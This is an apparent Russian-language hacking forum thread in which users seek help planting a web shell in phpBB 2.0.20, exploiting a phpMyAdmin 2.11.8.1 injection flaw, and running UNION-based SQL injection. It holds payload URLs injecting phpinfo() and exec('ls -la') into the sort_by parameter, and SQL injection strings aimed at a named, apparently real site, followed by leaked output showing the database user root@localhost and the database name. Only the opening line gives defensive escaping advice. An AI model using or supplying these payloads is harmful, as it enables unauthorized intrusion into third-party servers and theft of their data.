Строковые параметры, которые передаешь в SQL запрос из скрипта, обрабатывай функцией mysql_real_escape_string. Те параметры, которые должны быть целочисленными, приводи к типу int. После этого инъекций не будет.
Заранее сорри если миллион раз обсуждалось = \ Собсно вопрос по заливке шелла в phpbb 2.0.20 Вообщем гуглил, и находил только один способ... через востановление бд FILE_P > Y Вообщем создаю файл 1.sql в нем код: Востанавливаю БД. Пишет востановилась... захожу.. http://forum/profile.php?mode=editprofile&с=phpinfo(); phpinfo не выводится = \ что не так ??? help... или подскажите еще какой способ заливки) Не пинать сильно) давно не занимался такими делами)
да, 2 еще вопрос, как в phpbb 2.0.20 раскрыть пути?) Курил форум) много чего пробовал) не помогло = \
Есть сайт, на нем phpMyAdmin 2.11.8.1 Уязвимость описана к нему тут _http://forum.antichat.ru/showpost.php?p=871193&postcount=5 Заюзал ее, но что должно произойти? Я так так понимаю на экран должен выпать пасс и логин? Не чиго не происходит Что я не так делаю? Там кое что стоящее , если что могу поделиться . В общем прошу направить меня!!
Code: http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR [COLOR=DarkRed]"PHP"[/COLOR] //&sort_order=desc&token=[valid token]
Спасиб за ответ, но что то не идет. Пробывал вызвать phpinfo() Так Code: /server_databases.php?pos=0&dbstats=0&sort_by="]) OR [COLOR=DarkRed]<?php phpinfo(); ?>[/COLOR] //&sort_order=desc&token=[valid token] и так Code: /server_databases.php?pos=0&dbstats=0&sort_by="]) OR [COLOR=DarkRed]phpinfo();[/COLOR] //&sort_order=desc&token=[valid token] и так Code: /server_databases.php?pos=0&dbstats=0&sort_by="]) OR [COLOR=DarkRed]phpinfo()[/COLOR] //&sort_order=desc&token=[valid token] Но результат нулевой Что я не так делаю? Token получаю так, ввожу левый пасс и логин, выдает ошибку но в браузерной строке есть токен, его и юзаю
попробуй Code: server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('ls -la'); //&sort_order=desc&token=[valid token]
Не, ни че не произошло. А что должно было получиться? Сервер Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny13 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g Server at site.ru Port 80
подскажите что нужно сделать? посчитал сколько полей, вот создаю такой запрос (http://site.ru/index.php?tur=-999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+) и у меня почему то появляется белая страничка Подскажите что нужно сделать?
вот линк http://betz.su/myturnir/turnir.php?tur=-455'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
http://betz.su/myturnir/turnir.php?tur=455%27+and+substring((@@version),1,1)='5 user: root@localhost MySQL: 5.1.61-0ubuntu0.10.10.1 DB: u42397_city
